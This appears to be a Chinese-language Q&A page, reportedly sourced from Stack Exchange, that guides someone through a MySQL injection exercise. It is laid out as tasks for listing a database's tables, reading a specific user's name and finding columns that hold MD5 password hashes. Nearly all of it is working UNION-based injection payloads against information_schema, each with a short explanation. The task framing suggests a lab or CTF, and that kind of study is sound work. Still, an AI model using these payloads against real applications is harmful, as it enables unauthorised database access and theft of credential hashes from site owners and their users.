MySQL注入枚举数据库表遇阻 求问题排查与任务指引
MySQL注入剩余任务实现指引
任务1:精准枚举当前数据库的可用表
你之前的语句返回了全库所有表,建议过滤出目标数据库的表以减少无关数据:
admin' union select table_name, 'placeholder', 'placeholder' from information_schema.tables where table_schema=database() -- -
database()会自动返回当前注入连接的数据库名,确保只列出目标库的表- 用
'placeholder'填充第二、第三列,保证与原查询的列数匹配
任务2:确认userid为3的用户名
若需验证结果,先从任务1的表列表中定位用户表(通常命名为users、user、accounts),替换后执行:
admin' union select user, '2', '3' from [用户表名] where userid=3 -- -
- 把
[用户表名]换成你枚举到的实际表名 - 原查询返回的第一列对应userid、第二列对应用户名,所以将
user字段放在第一列位置,结果会直接显示在对应区域
任务3:查找包含MD5哈希值的表
MD5哈希为32位十六进制字符串,可通过以下步骤定位:
- 先筛选可能存储哈希的字段:
admin' union select column_name, table_name, '3' from information_schema.columns where column_name like '%pass%' or column_name like '%hash%' or column_name like '%pwd%' -- -
- 验证字段值是否符合MD5格式:
针对上一步找到的表和字段,执行查询校验:
admin' union select [字段名], table_name, '3' from [表名] where length([字段名])=32 and [字段名] regexp '^[a-f0-9]{32}$' -- -
- 替换
[字段名]和[表名]为实际枚举到的内容 length([字段名])=32确保长度匹配MD5,regexp '^[a-f0-9]{32}$'验证值为十六进制字符串
内容的提问来源于stack exchange,提问作者Robot110010
相关产品推荐
相关产品推荐

